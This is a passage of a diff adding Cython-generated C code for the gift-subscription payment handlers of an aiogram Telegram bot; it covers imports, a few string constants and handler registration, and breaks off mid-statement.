__PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Any); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Any, __pyx_t_3) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":8 + * from typing import Any + * + * import aiohttp # <<<<<<<<<<<<<< + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_aiohttp, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_aiohttp, __pyx_t_2) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":9 + * + * import aiohttp + * from aiogram import F, Router, types # <<<<<<<<<<<<<< + * from aiogram.fsm.context import FSMContext + * from aiogram.utils.keyboard import InlineKeyboardBuilder + */ + __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_F); + __Pyx_GIVEREF(__pyx_n_s_F); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_F)) __PYX_ERR(0, 9, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Router); + __Pyx_GIVEREF(__pyx_n_s_Router); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_Router)) __PYX_ERR(0, 9, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_types); + __Pyx_GIVEREF(__pyx_n_s_types); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_types)) __PYX_ERR(0, 9, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Router, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_types, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":10 + * import aiohttp + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_FSMContext); + __Pyx_GIVEREF(__pyx_n_s_FSMContext); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_FSMContext)) __PYX_ERR(0, 10, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_fsm_context, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_FSMContext); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FSMContext, __pyx_t_3) < 0) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":11 + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * + * from config import CLIENT_CODE, RENEWAL_PRICES + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 11, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_2) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":13 + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * + * from config import CLIENT_CODE, RENEWAL_PRICES # <<<<<<<<<<<<<< + * from database import get_balance, store_gift_link, update_balance + * from handlers.texts import get_gift_link + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_CLIENT_CODE); + __Pyx_GIVEREF(__pyx_n_s_CLIENT_CODE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_CLIENT_CODE)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_RENEWAL_PRICES); + __Pyx_GIVEREF(__pyx_n_s_RENEWAL_PRICES); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_RENEWAL_PRICES)) __PYX_ERR(0, 13, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_config, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_CLIENT_CODE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_CLIENT_CODE, __pyx_t_3) < 0) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_RENEWAL_PRICES, __pyx_t_3) < 0) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":14 + * + * from config import CLIENT_CODE, RENEWAL_PRICES + * from database import get_balance, store_gift_link, update_balance # <<<<<<<<<<<<<< + * from handlers.texts import get_gift_link + * from logger import logger + */ + __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_get_balance); + __Pyx_GIVEREF(__pyx_n_s_get_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_get_balance)) __PYX_ERR(0, 14, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_store_gift_link); + __Pyx_GIVEREF(__pyx_n_s_store_gift_link); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_store_gift_link)) __PYX_ERR(0, 14, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_update_balance); + __Pyx_GIVEREF(__pyx_n_s_update_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_update_balance)) __PYX_ERR(0, 14, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_database, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_get_balance); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_balance, __pyx_t_2) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_store_gift_link); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_store_gift_link, __pyx_t_2) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_2) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":15 + * from config import CLIENT_CODE, RENEWAL_PRICES + * from database import get_balance, store_gift_link, update_balance + * from handlers.texts import get_gift_link # <<<<<<<<<<<<<< + * from logger import logger + * + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_get_gift_link); + __Pyx_GIVEREF(__pyx_n_s_get_gift_link); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_get_gift_link)) __PYX_ERR(0, 15, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_gift_link); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_gift_link, __pyx_t_3) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":16 + * from database import get_balance, store_gift_link, update_balance + * from handlers.texts import get_gift_link + * from logger import logger # <<<<<<<<<<<<<< + * + * router = Router() + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_logger); + __Pyx_GIVEREF(__pyx_n_s_logger); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_logger)) __PYX_ERR(0, 16, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_2) < 0) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":18 + * from logger import logger + * + * router = Router() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_2) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":21 + * + * + * PROJECTMANECONGIGURE = "CRYPTOSALE" # <<<<<<<<<<<<<< + * STARS_ROUTER = "21U68SOLOBOT" + * YOOKASSA_HASH = "HASHHASHYOOKASSA" + */ + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PROJECTMANECONGIGURE, __pyx_n_u_CRYPTOSALE) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + + /* "handlers/payments/gift.py":22 + * + * PROJECTMANECONGIGURE = "CRYPTOSALE" + * STARS_ROUTER = "21U68SOLOBOT" # <<<<<<<<<<<<<< + * YOOKASSA_HASH = "HASHHASHYOOKASSA" + * + */ + if (PyDict_SetItem(__pyx_d, __pyx_n_s_STARS_ROUTER, __pyx_kp_u_21U68SOLOBOT) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + + /* "handlers/payments/gift.py":23 + * PROJECTMANECONGIGURE = "CRYPTOSALE" + * STARS_ROUTER = "21U68SOLOBOT" + * YOOKASSA_HASH = "HASHHASHYOOKASSA" # <<<<<<<<<<<<<< + * + * + */ + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_HASH, __pyx_n_u_HASHHASHYOOKASSA) < 0) __PYX_ERR(0, 23, __pyx_L1_error) + + /* "handlers/payments/gift.py":26 + * + * + * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< + * async def start_menu_handler(callback_query: types.CallbackQuery): + * """ 'start'. ' ' ' '.""" + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyObject_RichCompare(__pyx_t_4, __pyx_n_u_gifts, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_1start_menu_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_start_menu_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_start_menu_handler, __pyx_t_2) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":42 + * + * + * @router.callback_query(F.data == "my_gifts") # <<<<<<<<<<<<<< + * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any): + * """ ' '. .""" + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyObject_RichCompare(__pyx_t_4, __pyx_n_u_my_gifts, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_4my_gifts_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_my_gifts_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__5)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_my_gifts_handler, __pyx_t_2) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":77 + * + * + * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< + * async def gift_subscription_handler(callback_query: types.CallbackQuery): + * """ ''. .""" + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyObject_RichCompare(__pyx_t_4, __pyx_n_u_gift, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_7gift_subscription_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_gift_subscription_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__21)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_gift_subscription_handler, __pyx_t_2) < 0) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":97 + * + * + * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< + * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): + * """ .""" + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_startswith); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__51, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 97, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 97, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_10confirm_gift_handler, 